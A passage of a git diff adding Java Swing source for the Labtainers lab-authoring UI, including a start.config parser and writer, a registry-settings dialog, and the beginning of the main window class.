break; + case "TAP": + currNetwork.tap = (line.split("TAP ")[1].trim()).equals("YES"); + break; + default: + currNetwork.unknownNetworkParams.add(line); + break; + } + } + else if(parseType.equals("CONTAINER")){ + ContainerData currContainer = listOfContainers.get(listOfContainers.size()-1); + switch(parameter){ + case "TERMINALS": + currContainer.terminal_count = Integer.parseInt(line.split("TERMINALS ")[1].trim()); + break; + case "TERMINAL_GROUP": + currContainer.terminal_group = line.split("TERMINAL_GROUP ")[1].trim(); + break; + case "XTERM": + currContainer.xterm_title = line.split("\\s+")[1].trim(); + + if(!currContainer.xterm_title.equals("INSTRUCTIONS")) + currContainer.xterm_script = line.split("\\s+")[2].trim(); + break; + case "USER": + currContainer.user = line.split("USER ")[1].trim(); + break; + case "PASSWORD": + currContainer.password = line.split("PASSWORD ")[1].trim(); + break; + case "ADD-HOST": + String addhostParams = line.split("ADD-HOST ")[1].trim(); + if(addhostParams.contains(":")) //host:ip + currContainer.listOfContainerAddHost.add(new ContainerAddHostSubData("ip",addhostParams.split(":")[0].trim(), addhostParams.split(":")[1].trim(), "")); + else //network + currContainer.listOfContainerAddHost.add(new ContainerAddHostSubData("network","", "", addhostParams)); + break; + case "X11": + currContainer.x11 = (line.split("X11 ")[1].trim()).equals("YES"); + break; + case "NO_PARAM": + currContainer.no_param = (line.split("NO_PARAM ")[1].trim()).equals("YES"); + break; + case "CLONE": + currContainer.clone = Integer.parseInt(line.split("CLONE ")[1].trim()); + break; + case "NO_PULL": + currContainer.no_pull = (line.split("NO_PULL ")[1].trim()).equals("YES"); + break; + case "LAB_GATEWAY": + currContainer.lab_gateway = line.split("LAB_GATEWAY ")[1].trim(); + break; + case "NAME_SERVER": + currContainer.name_server = line.split("NAME_SERVER ")[1].trim(); + break; + case "NO_GW": + currContainer.no_gw = (line.split("NO_GW ")[1].trim()).equals("YES"); + break; + case "NO_RESOLVE": + currContainer.no_resolve = (line.split("NO_RESOLVE ")[1].trim()).equals("YES"); + break; + case "REGISTRY": + currContainer.registry = line.split("REGISTRY ")[1].trim(); + break; + case "BASE_REGISTRY": + currContainer.base_registry = line.split("BASE_REGISTRY ")[1].trim(); + break; + case "THUMB_VOLUME": + currContainer.thumb_volume = line.split("THUMB_VOLUME\\s+")[1].trim(); + break; + case "THUMB_COMMAND": + currContainer.thumb_command = line.split("THUMB_COMMAND\\s+")[1].trim(); + break; + case "THUMB_STOP": + currContainer.thumb_stop = line.split("THUMB_STOP\\s+")[1].trim(); + break; + case "PUBLISH": + currContainer.publish = line.split("PUBLISH\\s+")[1].trim(); + break; + case "HIDE": + currContainer.hide = (line.split("HIDE\\s+")[1].trim()).equals("YES"); + break; + case "NO_PRIVILEGE": + currContainer.no_privilege = (line.split("NO_PRIVILEGE\\s+")[1].trim()).equals("YES"); + break; + case "MYSTUFF": + currContainer.mystuff = (line.split("MYSTUFF\\s+")[1].trim()).equals("YES"); + break; + case "TAP": + currContainer.tap = (line.split("TAP ")[1].trim()).equals("YES"); + break; + case "MOUNT": + String mountParam = line.split("MOUNT ")[1].trim(); + currContainer.mount1 = mountParam.split(":")[0].trim(); + currContainer.mount2 = mountParam.split(":")[1].trim(); + break; + case "WAIT_FOR": + currContainer.wait_for = (line.split("WAIT_FOR\\s+")[1].trim()); + break; + case "NUM_CPUS": + currContainer.num_cpus = (line.split("NUM_CPUS\\s+")[1].trim()); + break; + case "CPU_SET": + currContainer.cpu_set = (line.split("CPU_SET\\s+")[1].trim()); + break; + default: + boolean foundMatchingNetwork = false; + String networkName = line.split("\\s+")[0].toUpperCase(); + String ipAddrName = line.split("\\s+")[1].toUpperCase(); + //Check the array of network names to to see if it matches it + for(int i = 0;i getContainers(){ + return listOfContainers; + } + + public ArrayList getContainerNames(){ + ArrayList names = new ArrayList(); + for (ContainerData container : listOfContainers) + names.add(container.name); + + return names; + } + + public int getNetworkCount(){ + return listOfNetworks.size(); + } + public ArrayList getNetworks(){ + return listOfNetworks; + } + + public ArrayList getNetworkNames(){ + ArrayList names = new ArrayList(); + for (NetworkData network : listOfNetworks) + names.add(network.name); + + return names; + } + + public ArrayList getGlobals(){ + return global_settings_params; + } + + public String getGlobalValue(String tag){ + String retval = null; + for(String line : global_settings_params){ + if(line.trim().startsWith(tag)){ + retval = line.trim().split(" ")[1]; + break; + } + } + return retval; + } + public ResultsData getResultsData(){ + return resultsData; + } + + public GoalsData getGoalsData(){ + return goalsData; + } + + public ParamsData getParamsData(){ + return paramsData; + } + + + // SETTERS // + + public void setName(String newName){ + name = newName; + } + + public void setPath(File newPath){ + path = newPath; + } + + public void setResultsData(ResultsData data){ + resultsData = new ResultsData(data); + } + + public void setGoalsData(GoalsData data){ + //goalsData = new GoalsData(data); + // eh? + goalsData = data; + } + + public void setParamsData(ParamsData data){ + paramsData = new ParamsData(data); + } + + public void resetContainers(){ + listOfContainers = new ArrayList(); + } + + public void resetNetworks(){ + listOfNetworks = new ArrayList(); + } + public void setGlobalValue(String tag, String value){ + boolean gotit = false; + int index = 0; + for(String line : global_settings_params){ + if(line.trim().startsWith(tag)){ + global_settings_params.set(index, tag+" "+value); + gotit = true; + } + index++; + } + if(!gotit){ + String entry = tag+" "+value; + global_settings_params.add(entry); + } + } + + + // DATA MANIPULATION // + + //Called when a user renames a network. + //The function will overwrite any instances of the old Network Name with the new Network Name in this state object + public void refactorNetworkName(String oldName, String newName){ + //Rename the network in the list of networks + for(NetworkData network : listOfNetworks){ + if(network.name.equals(oldName)){ + network.name = newName; + break; + } + } + + //Rename the network in list of Networks and list of addHosts for each container + for(ContainerData container : listOfContainers){ + // check list of networks + for(ContainerNetworkSubData networkSubData: container.listOfContainerNetworks){ + if(networkSubData.network_name.equals(oldName)) + networkSubData.network_name = newName; + } + //check list of add-hosts + for(ContainerAddHostSubData addHostSubData: container.listOfContainerAddHost){ + if(addHostSubData.add_host_network.equals(oldName)) + addHostSubData.add_host_network = newName; + } + } + } + + // Called when a user deletes a network + // The function deletes any instances of the Network name being referenced in the Lab data + public void deleteReferenceToNetwork(String networkName){ + // Delete the network in the list of networks + for(NetworkData network : listOfNetworks){ + if(network.name.equals(networkName)){ + listOfNetworks.remove(network); + break; + } + } + + // Delete the network in list of Networks and list of addHosts for each container + for(ContainerData container : listOfContainers){ + // Check list of networks + ArrayList networksToRemove = new ArrayList(); + for(ContainerNetworkSubData networkSubData: container.listOfContainerNetworks){ + if(networkSubData.network_name.equals(networkName)) + networksToRemove.add(networkSubData); + } + container.listOfContainerNetworks.removeAll(networksToRemove); + + // Check list of add-hosts + ArrayList addHostsToRemove = new ArrayList(); + for(ContainerAddHostSubData addHostSubData: container.listOfContainerAddHost){ + if(addHostSubData.add_host_network.equals(networkName)) + addHostsToRemove.add(addHostSubData); + } + container.listOfContainerAddHost.removeAll(addHostsToRemove); + } + } + + // Called when a user deletes a conainer + // The function deletes any instances of the Container name being referenced in the Lab data + public void deleteReferenceToContainer(String containerName){ + // Delete the network in the list of networks + for(ContainerData container : listOfContainers){ + if(container.name.equals(containerName)){ + listOfContainers.remove(container); + break; + } + } + + // Update the results data to not include the container reference + resultsData.removeContainerReference(containerName); + } + + + // PRINT // + + public void printNetworkData(NetworkData data) { + System.out.println("NETWORK----------------------"); + System.out.println("name: " + data.name); + System.out.println("mask: " + data.mask); + System.out.println("gateway: " + data.gateway); + System.out.println("macvlan_ext: " + data.macvlan_ext); + System.out.println("macvlan: " + data.macvlan); + + if(!data.unknownNetworkParams.isEmpty()){ + System.out.println("UNKNOWN PARAMS: "); + for(int i = 0;i 0){ + startConfigText += " MACVLAN "+data.macvlan+"\n"; + } + if(data.macvlan_ext > 0){ + startConfigText += " MACVLAN_EXT " +data.macvlan_ext+"\n"; + } + + if(data.tap){ + startConfigText += " TAP YES"+"\n"; + } + for(String unknownParam : data.unknownNetworkParams){ + startConfigText += " "+unknownParam+"\n"; + } + } + + // Cycle through container objects and write + for(ContainerData data : listOfContainers){ + startConfigText += "CONTAINER "+data.name+"\n"; + startConfigText += " USER "+data.user+"\n"; + + if(data.x11){ + startConfigText += " X11 YES\n"; + } + else{ + startConfigText += " X11 NO\n"; + } + // Not default + if(data.terminal_count != 1) + startConfigText += " TERMINALS "+data.terminal_count+"\n"; + if(!data.terminal_group.isEmpty()) + startConfigText += " TERMINAL_GROUP "+data.terminal_group+"\n"; + if(!data.xterm_title.isEmpty()) + startConfigText += " XTERM "+data.xterm_title+" "+data.xterm_script+"\n"; + if(!data.password.isEmpty()) + startConfigText += " PASSWORD "+data.password+"\n"; + for(ContainerAddHostSubData addHost : data.listOfContainerAddHost){ + if(addHost.type.equals("network")) + startConfigText += " ADD-HOST "+addHost.add_host_network+"\n"; + else if(addHost.type.equals("ip")) + startConfigText += " ADD-HOST "+addHost.add_host_host+":"+addHost.add_host_ip+"\n"; + } + for(ContainerNetworkSubData network : data.listOfContainerNetworks){ + startConfigText += " "+network.network_name+" "+network.network_ipaddress+"\n"; + } + if(data.clone > 0){ + startConfigText += " CLONE "+data.clone+"\n"; + } + if(!data.lab_gateway.isEmpty()){ + startConfigText += " LAB_GATEWAY "+data.lab_gateway+"\n"; + } + if(!data.name_server.isEmpty()){ + startConfigText += " NAME_SERVER "+data.name_server+"\n"; + } + if(data.no_gw){ + startConfigText += " NO_GW YES\n"; + } + if(data.no_param){ + startConfigText += " NO_PARAM YES\n"; + } + if(data.no_resolve){ + startConfigText += " NO_RESOLVE YES\n"; + } + if(!data.base_registry.isEmpty()){ + startConfigText += " BASE_REGISTRY "+data.base_registry+"\n"; + } + if(!data.thumb_volume.isEmpty()){ + startConfigText += " THUMB_VOLUME "+data.thumb_volume+"\n"; + } + if(!data.thumb_command.isEmpty()){ + startConfigText += " THUMB_COMMAND "+data.thumb_command+"\n"; + } + if(!data.thumb_stop.isEmpty()){ + startConfigText += " THUMB_STOP "+data.thumb_stop+"\n"; + } + if(!data.publish.isEmpty()){ + startConfigText += " PUBLISH "+data.publish+"\n"; + } + if(data.hide){ + startConfigText += " HIDE YES\n"; + } + if(data.no_privilege){ + startConfigText += " NO_PRIVILEGE YES\n"; + } + if(data.no_pull){ + startConfigText += " NO_PULL YES\n"; + } + if(data.mystuff){ + startConfigText += " MYSTUFF YES\n"; + } + if(data.tap){ + startConfigText += " TAP YES\n"; + } + if(!data.mount1.isEmpty() && !data.mount2.isEmpty()){ + startConfigText += " MOUNT "+data.mount1+":"+data.mount2+"\n"; + } + if(!data.wait_for.isEmpty()){ + startConfigText += " WAIT_FOR "+data.wait_for+"\n"; + } + if(!data.num_cpus.isEmpty()){ + startConfigText += " NUM_CPUS "+data.num_cpus+"\n"; + } + if(!data.cpu_set.isEmpty()){ + startConfigText += " CPU_SET "+data.cpu_set+"\n"; + } + + } + + //Write to File + writer.print(startConfigText); + writer.close(); + return startConfigPath; + /* + boolean something_changed = false; + if(usetmp){ + String old_file = this.path+File.separator+"config"+File.separator+"start.config"; + String new_file = startConfigPath; + try{ + something_changed = ! CompareTextFiles.compare(old_file, new_file); + }catch(IOException ex){ + System.out.println("Error comparing text files "+ex); + } + } + return something_changed; + */ + } +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/LabPanel.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/LabPanel.form new file mode 100644 index 000000000..8c9601f27 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/LabPanel.form @@ -0,0 +1,91 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/LabPanel.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/LabPanel.java new file mode 100644 index 000000000..8dfd3f3f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/LabPanel.java @@ -0,0 +1,143 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +*/ + +package labtainers.mainui; + +/** + * + * @author mike + */ +public class LabPanel extends javax.swing.JPanel { + javax.swing.JDialog dialog; + LabData labData = null; + + /** + * Creates new form LabPanel + */ + public LabPanel() { + initComponents(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + registryTextField = new javax.swing.JTextField(); + OKButton = new javax.swing.JButton(); + CancelButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + + registryTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Registry", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 0, 14))); // NOI18N + + OKButton.setText("OK"); + OKButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + OKButtonActionPerformed(evt); + } + }); + + CancelButton.setText("Cancel"); + CancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CancelButtonActionPerformed(evt); + } + }); + + jLabel1.setText("Lab properties"); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGap(128, 128, 128) + .addComponent(OKButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(CancelButton)) + .addGroup(layout.createSequentialGroup() + .addGap(147, 147, 147) + .addComponent(jLabel1)) + .addGroup(layout.createSequentialGroup() + .addGap(21, 21, 21) + .addComponent(registryTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 357, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addContainerGap(22, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1) + .addGap(51, 51, 51) + .addComponent(registryTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 68, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 59, Short.MAX_VALUE) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(OKButton) + .addComponent(CancelButton)) + .addGap(62, 62, 62)) + ); + }// //GEN-END:initComponents + + private void OKButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_OKButtonActionPerformed + String registry = registryTextField.getText().trim(); + if(registry.length() > 0){ + this.labData.setGlobalValue("REGISTRY", registry); + } + this.dialog.setVisible(false); + }//GEN-LAST:event_OKButtonActionPerformed + + private void CancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CancelButtonActionPerformed + this.dialog.setVisible(false); + }//GEN-LAST:event_CancelButtonActionPerformed + public void setDialog(javax.swing.JDialog dialog){ + this.dialog = dialog; + } + public void setData(LabData labData){ + this.labData = labData; + String registry = labData.getGlobalValue("REGISTRY"); + if(registry != null){ + this.registryTextField.setText(registry); + } + } + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CancelButton; + private javax.swing.JButton OKButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JTextField registryTextField; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/MainWindow.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/MainWindow.form new file mode 100644 index 000000000..4e7854690 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/MainWindow.form @@ -0,0 +1,1330 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/MainWindow.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/MainWindow.java new file mode 100644 index 000000000..6749fb8b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/MainWindow.java @@ -0,0 +1,2567 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +*/ +package labtainers.mainui; + +import java.awt.Component; +import java.awt.Dimension; +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.File; +import java.nio.file.Files; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.FilenameFilter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.InputStream; +import java.io.PrintWriter; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Properties; +import java.util.logging.Level; +import java.util.logging.Logger; +import java.util.Set; +import javax.swing.JFileChooser; +import javax.swing.JScrollBar; +import java.util.function.Consumer; +import java.util.Arrays; +import java.util.ArrayList; +import java.lang.ClassLoader; +import java.lang.Thread; +import java.nio.charset.StandardCharsets; +import javax.swing.ImageIcon; +import javax.imageio.ImageIO; +import javax.swing.JDialog; +import javax.swing.JOptionPane; +import java.util.concurrent.Executors; +import java.util.Collections; + +import labtainers.mainui.LabData.ContainerData; +import labtainers.mainui.LabData.NetworkData; +import labtainers.mainui.Status; +import labtainers.goalsui.GoalsUI; +import labtainers.resultsui.ResultsData; +import labtainers.resultsui.ResultsUI; +import labtainers.paramsui.ParamsData; +import labtainers.paramsui.ParamsUI; + + +/** + * + * @author Daniel Liao + */ +public class MainWindow extends javax.swing.JFrame { + private LabData labDataCurrent; + private String labtainerPath; + private File labsPath; + private String labName; + private File currentLab=null; + private final File iniFile; + private final Properties prefProperties; + private String[] bases; + private String textEditorPref; + private Status status=null; + + SimpleDateFormat formatter; + Date date; + + private ResultsUI resultsUI; + private GoalsUI goalsUI; + private ParamsUI paramsUI; + private boolean resultsOpened; + private boolean goalsOpened; + private boolean paramsOpened; + + public MainWindow() throws IOException { + initComponents(); + setMnemonics(); + + this.setDefaultCloseOperation(javax.swing.WindowConstants.DO_NOTHING_ON_CLOSE); + + containerScrollPaneBar = ContainerScrollPane.getVerticalScrollBar(); + networkScrollPaneBar = NetworkScrollPane.getVerticalScrollBar(); + LabExistLabel.setVisible(false); + String localpath = System.getenv("HOME")+File.separator+".local/share/labtainers"; + File local = new File(localpath); + local.mkdirs(); + + this.iniFile = new File(localpath+File.separator+"UI.ini"); + if(!this.iniFile.isFile()) + resetINIFile(); + + prefProperties = new Properties(); + prefProperties.load(new FileInputStream(iniFile)); + formatter = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss"); + // Parse preferences properties and load most recent lab + parseINI(); + + + //Set logo icon + InputStream inputStream = brokenJavaNaming("labtainer5-sm.png"); + ImageIcon logoImg = new ImageIcon(ImageIO.read(inputStream)); + + this.setIconImage(logoImg.getImage()); + logo.setIcon(logoImg); + // For use in creating new labs + getBaseImageDockerfiles(); + // Update status of whether a lab is running + status = new Status(RunningLabel, "Lab running: ", this.labName+"\\."); + status.addLabel(GraderRunning, "Grader running: ", "igrader"); + Thread thread1 = new Thread(status); + thread1.setDaemon(true); + thread1.setName("status-thread"); + System.out.println("Starting status thread..."); + thread1.start(); + } + private void setMnemonics(){ + FileMenuBar.setMnemonic(java.awt.event.KeyEvent.VK_F); + OpenLabMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_O); + NewLabMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_N); + SaveMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_S); + SaveAsMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_A); + PreferencesMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_P); + ExitMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_X); + RunMenu.setMnemonic(java.awt.event.KeyEvent.VK_R); + BuildAndRun.setMnemonic(java.awt.event.KeyEvent.VK_B); + BuildOnlyMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_Y); + StopLabMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_T); + checkWorkMenuItem.setMnemonic(java.awt.event.KeyEvent.VK_C); + HelpMenu.setMnemonic(java.awt.event.KeyEvent.VK_H); + ViewMenu.setMnemonic(java.awt.event.KeyEvent.VK_V); + } + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ContainerAddDialog = new javax.swing.JDialog(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + jLabel5 = new javax.swing.JLabel(); + ContainerAddDialogNameTextfield = new javax.swing.JTextField(); + ContainerAddDialogCreateButton = new javax.swing.JButton(); + ContainerAddDialogCancelButton = new javax.swing.JButton(); + ContainerAddDialogBaseImageCombobox = new javax.swing.JComboBox<>(); + NetworkAddDialog = new javax.swing.JDialog(); + jLabel7 = new javax.swing.JLabel(); + jLabel11 = new javax.swing.JLabel(); + jLabel12 = new javax.swing.JLabel(); + NetworkAddDialogNameTextfield = new javax.swing.JTextField(); + NetworkAddDialogMaskTextfield = new javax.swing.JTextField(); + NetworkAddDialogGatewayTextfield = new javax.swing.JTextField(); + NetworkAddDialogCreateButton = new javax.swing.JButton(); + NetworkAddDialogCancelButton = new javax.swing.JButton(); + NetworkAddDialogMacVLanExtSpinner = new javax.swing.JSpinner(); + NetworkAddDialogMacVLanSpinner = new javax.swing.JSpinner(); + NetworkAddDialogTapRadioButton = new javax.swing.JRadioButton(); + labChooser = new javax.swing.JFileChooser(); + NewLabDialog = new javax.swing.JDialog(); + jLabel6 = new javax.swing.JLabel(); + jLabel14 = new javax.swing.JLabel(); + NewLabNameTextfield = new javax.swing.JTextField(); + NewLabBaseImageComboBox = new javax.swing.JComboBox<>(); + NewLabCreateButton = new javax.swing.JButton(); + NewLabCancelButton = new javax.swing.JButton(); + LabExistLabel = new javax.swing.JLabel(); + SaveAsDialog = new javax.swing.JDialog(); + SaveAsLabNameTextField = new javax.swing.JTextField(); + SaveAsErrorLabel = new javax.swing.JLabel(); + SaveAsCancelButton = new javax.swing.JButton(); + SaveAsConfirmButton = new javax.swing.JButton(); + Header = new javax.swing.JPanel(); + LabnameLabel = new javax.swing.JLabel(); + RunningLabel = new javax.swing.JLabel(); + GraderRunning = new javax.swing.JLabel(); + ContainerPanel = new javax.swing.JPanel(); + jLabel1 = new javax.swing.JLabel(); + ContainerScrollPane = new javax.swing.JScrollPane(); + ContainerPanePanel = new javax.swing.JPanel(); + addContainerButton = new javax.swing.JButton(); + copyContainerButton = new javax.swing.JButton(); + NetworkPanel = new javax.swing.JPanel(); + jLabel2 = new javax.swing.JLabel(); + NetworkScrollPane = new javax.swing.JScrollPane(); + NetworkPanePanel = new javax.swing.JPanel(); + addNetworkButton = new javax.swing.JButton(); + logo = new javax.swing.JLabel(); + AssessmentPanel = new javax.swing.JPanel(); + AssessmentButton = new javax.swing.JButton(); + AssessmentButton1 = new javax.swing.JButton(); + IndividualizePanel = new javax.swing.JPanel(); + paramsButton = new javax.swing.JButton(); + jScrollPane1 = new javax.swing.JScrollPane(); + OutputTextArea = new javax.swing.JTextArea(); + MainMenuBar = new javax.swing.JMenuBar(); + FileMenuBar = new javax.swing.JMenu(); + NewLabMenuItem = new javax.swing.JMenuItem(); + jSeparator1 = new javax.swing.JPopupMenu.Separator(); + OpenLabMenuItem = new javax.swing.JMenuItem(); + jSeparator2 = new javax.swing.JPopupMenu.Separator(); + SaveMenuItem = new javax.swing.JMenuItem(); + SaveAsMenuItem = new javax.swing.JMenuItem(); + jSeparator4 = new 